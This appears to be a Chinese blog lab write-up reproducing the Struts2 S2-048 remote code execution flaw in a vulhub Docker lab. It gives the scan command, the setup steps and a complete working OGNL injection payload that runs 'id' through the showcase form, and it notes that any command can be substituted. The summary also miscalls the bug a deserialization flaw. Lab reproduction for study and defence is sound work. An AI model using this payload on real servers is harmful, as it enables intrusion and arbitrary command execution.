Struts2是一个基于MVC设计模式(java)的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
实验环境:vulhub中的struts
实验步骤:
可利用struts2扫描工具扫描是否有该漏洞,输入python3 Struts2Scan.py -u http://192.168.1.103:8080/index.action进行扫描

漏洞复现
1.在ubuntu中进入vulhub-master/struts2/s2-048目录,并输入docker-compose up -d启动环境


2.访问http://192.168.1.103:8080/showcase/管理界面,ip为ubuntu的IP

3.选择ntegration/Struts 1 Integration,即为漏洞界面

4.在Gangster Name输入代码即可执行
例:输入:%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
可查看其id,当然也可将id处填写其他任意代码执行

本文介绍了Struts2框架中的一个反序列化漏洞,通过实验环境vulhub的struts2/s2-048演示了漏洞的复现步骤。首先使用Struts2Scan工具进行漏洞扫描,然后在Ubuntu环境下启动docker-compose搭建实验环境。访问特定URL后,通过在Gangster Name字段输入恶意代码,可以执行系统命令,例如显示当前用户的id,揭示了该漏洞可能导致的安全风险。

217

被折叠的 条评论
为什么被折叠?



